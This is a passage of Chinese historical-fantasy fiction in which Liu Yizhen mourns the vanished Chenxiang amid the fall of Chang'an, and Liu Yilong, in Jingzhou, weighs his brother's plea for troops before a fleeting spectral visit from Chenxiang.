    那他所建的这个朝廷，和他反对的那些门阀，又有什么本质区别？不过是一边用刀剑杀人，一边用软刀子杀人罢了！”


    他抬起头，眼中充满了迷茫与抗拒：“彦昌叔，你说的这些，太可怕了。我宁愿相信谢先生说的，世间总有清风明月，总有超脱这些污浊的高洁之地。我宁愿去读诗，去听琴，去山水之间找片刻安宁……至少那里，没有这些不得不做的‘选择’，没有这些……令人作呕的‘代价’！”


    刘彦昌看着眼前几乎崩溃的少年，心中涌起巨大的无力感。他知道，自己这番话，非但没有解开刘义真的心结，反而将他推得更远，推向那个用风雅构筑的、虚幻的避风港。


    “殿下……”他还想再说什么。


    “够了。”刘义真打断他，声音疲惫而疏离，“彦昌叔，我累了。真的累了。”


    刘彦昌所有的话都堵在了喉咙里。他站起身，深深看了刘义真一眼，那眼神中有担忧，有遗憾，也有一种“来日方长”的微弱期望。孩子还小，或许再过几年，经历些世事，就能懂了。


    他默默躬身，退出书房，轻轻带上了门。


    门内，刘义真滑坐到地上，背靠着冰冷的墙壁，将怀中那卷焦痕佛经死死按在心口，仿佛那是唯一能让他不至于溺毙在冰冷真相中的浮木。


    而门外，刘彦昌站在渐浓的夜色里，望着天际稀疏的星子，发出一声只有自己能听见的叹息。


    有些真相，说出来，反而成了更深的隔阂。


    有些路，非要自己撞得头破血流，才知道当初避开的，未必不是捷径。


    ----------


    记忆如潮水般涌来，带着焦土与血腥的气味。


    义熙十四年（418年）冬，长安，逍遥园废墟


    十二岁的刘义真，裹着厚重的裘氅，深一脚浅一脚地走在逍遥园的废墟中。这里数月前曾是后秦皇家园林，佛殿精舍，林木幽深。可如今，只剩断壁残垣，烧焦的梁木横七竖八，积雪覆盖着黑色的灰烬。


    他是私自跑出来的。随从和护卫都被他甩在了园外。


    他要找沉香。


    三个月前，父皇的大军攻破长安，他第一时间就冲进了这座园子。因为最后的消息是，沉香哥哥在这里，与一群神秘的羌巫斗法，然后……消失了。


    没有尸体，只有大片的血迹，和大片难以解释的焦痕，几处地面呈现出琉璃般的融化状，以及空气中久久不散的、奇异的气息。


    “殿下！这里危险，请回吧！”王镇恶的声音从身后传来，带着焦急。


    刘义真不理他，跪在一片相对完整的焦土前，用手开始刨挖。指甲缝里很快塞满了黑灰和冰碴。


    “殿下！”王镇恶上前想拉他。


    “别碰我！”刘义真猛地甩开，抬起头，满脸黑灰，只有眼睛亮得骇人，“王将军，你说，一个人怎么会凭空消失？沉香哥哥那么厉害，他怎么会……”


    他说不下去了。那个会把他扛在肩头看烟火、会教他射箭时如何稳住呼吸、会在父亲严厉责骂时偷偷给他塞糖糕的沉香哥哥，怎么可能就这么没了？


    王镇恶沉默片刻，也蹲下身来。这位已过中年的将领，看着眼前执拗的少年，眼中闪过一丝复杂。


    “刘小郎君……是个奇人。”他缓缓道，目光扫过周围的奇异痕迹，“末将征战半生，从未见过这般……非人力可为的景象。但末将相信，吉人自有天相。刘小郎君或许只是……去了别处。”


    “别处？”刘义真茫然。


    王镇恶指着那些琉璃化的地面和空气中若有若无的清净气息：“殿下可曾感觉到，在此处，心神会莫名安宁？这废墟之中，竟无半分怨戾之气，反而有种……被涤荡过的澄澈。末将不通佛法，但曾听人言，大德高僧圆寂或飞升之地，会有异象，留泽后人。”


    他顿了顿：“刘小郎君失踪前，是在护送法显大师的经书。或许……这便是佛缘？”


    刘义真怔怔地听着。他确实感觉到了。一踏入这片废墟中心，连日的惊惶、失去长安的恐惧、对沉香的担忧，都仿佛被一股无形的柔和力量抚平了些许。空气中弥漫的气息，让他想起沉香身上那种总是干干净净、令人安心的感觉。


    他继续刨挖。冻土坚硬，他的手指很快磨破了皮，渗出血丝，混着黑灰，狼狈不堪。


    不知过了多久，他的指尖触到了一个硬物。


    他加快动作，小心翼翼地拂开浮土和灰烬。那是一卷被烧得只剩小半的佛经，用某种极坚韧的材质制成，虽边缘焦黑蜷曲，内里的文字却奇迹般依稀可辨。经文旁，还有几行熟悉的、飞扬的小字批注——


    “诸法因缘生，诸法因缘灭。生生灭灭间，一点灵明不昧。”


    是沉香的笔迹！是他读经时随手写下的心得！


    刘义真如获至宝，将那残卷紧紧抱在怀里，仿佛抱着最后的希望。纸张触感微温，仿佛还残留着书写者的温度，那股清净安宁的气息更加明显了。


    “沉香哥哥……”他把脸埋进残卷，泪水终于决堤，“你到底在哪里……你答应过，你有一个秘密，要偷偷告诉我……你告诉我的时候，会带我见你娘亲……你答应过，要教我你那套不用弓就能射中雀眼的法子……你不能骗我……”


    王镇恶默默站在一旁，看着痛哭的少年，心中叹息。


    就在这时，园外传来急促的马蹄声和呼喊。


    “报——！赫连勃勃大军已过渭水，直逼长安！”


    王镇恶脸色大变：“殿下，我们必须立刻回城！”


    刘义真却恍若未闻，只是抱着经卷，喃喃道：“我要在这里等他……他说不定会回来……”


    “殿下！”王镇恶提高了声音，“长安危在旦夕！若城破，莫说等刘小郎君，这满城百姓，你我性命，皆休矣！刘小郎君若在，也定会要你先守住长安，守住这里！”


    最后一句话，像一记重锤，敲醒了刘义真。


    他抬起头，看着王镇恶焦急而坚定的脸，又低头看看怀中的残卷。经卷上，沉香的字迹在雪光映照下，清晰如昨——“灵明不昧”。


    他猛地擦干眼泪，站起身，将残卷仔细塞入怀中，紧贴着心口。


    “王将军，”少年的声音还带着哭腔，却已有了决断，“我们回城。守长安。”


    那是他一生中，最后一次以“守”为信念的瞬间。


    几天后，沈田子的刀砍下了王镇恶的头颅。关中军心大乱，赫连勃勃的铁骑踏破了长安城门。他在亲兵拼死护卫下逃离，怀中死死护着的，只有那半卷焦痕累累的佛经。


    马背上，他回头望向烽烟冲天的长安城，望向逍遥园的方向。


    沉香哥哥没有回来。


    王将军死了。


    长安丢了。


    父亲理想中那个“公正”的世界，在他眼前，轰然崩塌。


    ---------------


    景平元年春，夜


    刘义真从回忆中惊醒，才发现自己满脸冰凉的泪水。


    怀中的佛经残卷依旧贴着他的心口，散发着微弱的、只有他能感觉到的温润气息。这是沉香留在人间最后的痕迹，是他心中唯一未被权谋、鲜血和背叛污染过的净土。


    他推开窗，夜风灌入，带着建康城特有的潮湿与繁华气息。远处宫城方向，灯火依稀。他知道，兄长刘义符此刻，或许正在华林园那间可笑的“酒肆”里，进行着另一场他无法理解、也不愿参与的谋划。


    而彦昌叔……他想起方才刘彦昌欲言又止的眼神，心中闪过一丝愧疚，但很快又被更深的疏离感取代。


    彦昌叔是好人，是忠臣，可他不懂。他不懂那种亲眼看着“纯粹”在眼前粉碎的痛苦，不懂对“干净”到近乎绝望的渴望。


    谢灵运先生懂吗？或许懂一些。至少他的诗里，有山水，有明月，有超脱尘俗的逍遥。那是一种可以暂时逃离眼前这一切污浊的幻梦。


    刘义真将手按在胸口的佛经上，闭上眼睛。


    “沉香哥哥……”他对着无边的夜色，无声地诉说，“如果你真的去了某个‘别处’……那个地方，是不是没有冤死，没有算计，没有不得不为的‘苦衷’？”


    没有回答。


    只有风穿过庭院竹林的沙沙声，仿佛一声悠长的、来自过往的叹息。


    而在刘义真无法感知的层面，那卷佛经残页上，沉香当年留下的、几乎微不可察的一丝神念印记，正因少年纯粹而痛苦的思念，泛起比在刘义符处更加清晰、更加哀戚的涟漪。


    那涟漪穿过天条的屏障，隐约传递着一个信息：


    这个他最心疼的弟弟，正在离他期望的“正道”越来越远。而他，只能看着。


    ----------------------


    景平元年秋，荆州，刺史府邸


    长江的湿气渗透进江陵城的砖石，秋日的荆州刺史府内，烛火通明。刘义隆端坐案前，手中那份从建康辗转而来的密信，已被他反复看了三遍。信纸是寻常的薛涛笺，用的是只有他与长兄刘义符幼时玩耍约定的暗语——以《诗经》篇目对应日期，以星宿方位代指兵力。


    信不长，但字里行间透出的焦虑与急迫，几乎要灼穿纸背。


    “……四星环日，太微蔽明。弟在江陵，当知兄困。若念同气，速整舟师，顺流东下，清君侧，正朝纲。机不可失，时不再来。盼复如渴。”


    刘义隆将信纸轻轻放下，指尖在“清君侧，正朝纲”六个字上停留片刻。烛火在他清俊的脸上跳跃，那双肖似父亲刘裕的深邃眼睛，此刻平静无波。


    “二位先生，怎么看？”他抬头，看向侍立案前的两位心腹幕僚。


    王华与王昱首对视一眼。二人皆出自琅琊王氏，是家族中早早投效刘义隆的支系子弟，多年来助他经营荆州，早已是腹心之臣。


    王华年长些，率先开口：“殿下，此信确是陛下亲笔。暗语无误，信中提及的宫中几处细节，也非外人能知。陛下……确已到了不得不发之时。”


    “徐羡之、傅亮等人，近来动作频频。”王昱首补充，他更年轻，言辞也更直接，“臣收到建康密报，徐羡之已暗中调动部分台城禁军，以‘整训’为名，将原属谢晦的部分兵力调离要害。傅亮则在尚书台开始核查近年来荆州上缴的赋税账目，虽尚未直接发难，但显然是敲山震虎。陛下华林园中的那些把戏……恐怕瞒不了多久了。”


    刘义隆微微颔首，目光却投向墙上悬挂的荆州及周边舆图。他的手指虚点着几处关键节点：“若真要出兵，我军从江陵出发，顺江东下，最快几日可至建康？”


    “若全速行军，不計沿途阻滞，轻舟快马，五日可抵京口。”王华答道，“但徐羡之不可能毫无防备。姑孰、历阳、牛渚等要津，必有北府兵驻守。檀道济虽在广陵，但其麾下部将多布防于长江北岸诸戍。我军若东下，必遭层层拦截。”


    “兵力对比？”刘义隆问得冷静。


    “荆州现有水步军三万五千，其中可战之精锐约两万。”王昱首如数家珍，“徐、傅能直接调动的台城禁军及建康周边戍军，约在两万上下。但若战事起，檀道济可从广陵发兵南下，北府兵战力殿下深知。此外，谢晦态度未明，其麾下禁军虽被调离部分，仍有近万人在手。而我军一旦离开荆州，西面雍州的蛮族、北面襄阳的魏军动向，皆不可不防。”


    账算得很清楚。风险远大于机会。


    刘义隆沉默片刻，忽然问：“江州那边呢？王弘刺史，不是与陛下走得颇近吗？”


    王华露出一丝意味深长的笑：“王弘刺史确实在江州暗中练兵，其与陛下往来密信，我等亦截获过一二。然则，琅琊王氏内部，并非铁板一块。王弘此举，家族中长老多有非议，认为太过冒险。若殿下此刻表态不明，王弘恐怕……不敢轻易全力押注。”


    “他在观望本王。”刘义隆淡淡道。


    “正是。”王昱首点头，“殿下，此乃关键。陛下如今是困兽之斗，虽有血勇，但胜算渺茫。“犹豫了一下，续道，”徐、傅等人把持朝政已近两年，根基渐稳。此时贸然起兵，名为‘清君侧’，实为以弱击强……”


    最后这句话，说得极轻，却像一根针，刺破了室内微妙的平衡。


    刘义隆的目光陡然深邃起来。


    他想起很多事。


    他从十二岁起就镇守荆州，处理民政，平衡豪强，抵御北虏。


    想起父亲临终时，自己是唯一不在榻前的儿子……


    就像儿时，他永远不会是被抱起的那一个。


    “再等等。”刘义隆终于做出了决定，声音冷静得不带一丝情绪，“回复陛下，就说荆州今秋粮草收储未齐，沅湘一带蛮族不稳，大军暂难轻动。请陛下……再忍耐些时日，妥善筹划，臣弟必为后援。”


    就在此时，书房外传来轻轻叩门声。


    “何事？”刘义隆皱眉。


    “禀殿下，”门外侍从声音带着几分犹疑，“府外……有一人求见，自称姓刘，从建康来，说是……殿下的故人。”


    刘义隆与王华交换了一个眼神。这个节骨眼上，建康来的“故人”？


    “可报了名字？”


    “不曾。只让递进此物。”侍从推门进来，双手奉上一件用青布包裹的小物件。


    刘义隆接过，解开青布。里面是一枚普通的竹制笔搁，边缘已被摩挲得光滑温润。笔搁底部，刻着极小的、几乎难以辨认的“沉香”二字。


    刘义隆的手，几不可察地抖了一下。


    王华敏锐地注意到主君的失态，低声道：“殿下，莫非是……”


    “你们都下去。”刘义隆打断他，声音有些紧。


    王华、王昱首虽疑惑，却不敢多问，躬身退出，轻轻带上了门。


    书房内重归寂静。刘义隆紧紧握着那枚笔搁，指节泛白。这是他刚刚开蒙习字，沉香亲手给他削的。那时候沉香笑着说：“义隆写字太用力，笔总是滚，这个给你垫着。”


    十几年了。


    他猛地起身，快步走向门外：“人在何处？带路！”


    同一时刻，荆州刺史府外，夜色中


    沉香——或者说，是沉香以巨大代价，暂时凝聚出的一缕足以被凡人模糊感知的神念虚影——站在刺史府门前的石狮旁。他看起来与十年前变化不大，依旧是少年模样，只是身形飘忽，仿佛随时会融入夜色，眉眼间带着一种非人的疲惫与疏离。


    他不能久留。化入天条后，每一次试图以这种方式“显现”，都在剧烈消耗着他维系新天条秩序的根本力量，并带来天道反噬的灼痛。但他必须来。


    他在天条中“看”到了刘义符的绝望，也“听”到了刘义真痛苦的倾诉。他无法直接干预，但至少……可以试着提醒这个最有可能稳住局面的三弟。


    府门打开，刘义隆快步走出。当他看到夜色中那道朦胧熟悉的身影时，整个人如遭雷击，僵在原地。


    “……沉香……哥哥？”他的声音干涩，带着难以置信的颤抖。


    “义隆。”沉香开口，声音仿佛从很远的地方传来，空灵而微弱，“长话短说。我时间不多。”


    刘义隆猛地回过神，压下心中的惊涛骇浪，急步上前：“真的是你？！这十几年……你去了何处？！父皇子嗣寻你……”


    “那些都不重要。”沉香打断他，目光清澈却沉重，“义隆，我来，是为义符。”


    刘义隆眼神闪烁了一下，迅速恢复了平素的冷静。


    沉香直视着他的眼睛，“你知道的，他现在的路很险，但他走上去，是因为没有别的选择。四臣专权，非社稷之福。义隆，现在，他只有你了，你有兵，有地，有人望。”


    刘义隆沉默了片刻，脸上露出忧虑与无奈：“沉香哥哥……荆州力薄。粮草不济，蛮族伺机，北虏虎视。我若轻动，恐会让整个荆州乃至江南陷入战乱……”


    他眼眶微红：“兄长信我，我岂能不知？可正因为信我，我才更不能莽撞。须得谋划周全，一击必中。否则，岂不是辜负了兄长，也辜负了父皇留下的基业？”


    沉香静静地看着他，身形开始变得愈发透明模糊，“我只能说这么多了，你当好自为之。”


    “沉香哥哥！”刘义隆急唤，伸手想去抓，却只触到一片冰凉的、正在消散的雾气。


    夜色中，再无那人踪影。只有那枚竹笔搁，还留在他掌心，微微发烫。


    刘义隆站在原地，良久未动。夜风吹起他的袍角，他脸上的表情在阴影中晦暗不明。


    最终，他将笔搁紧紧攥住，转身回府，步伐稳定，再无一丝波澜。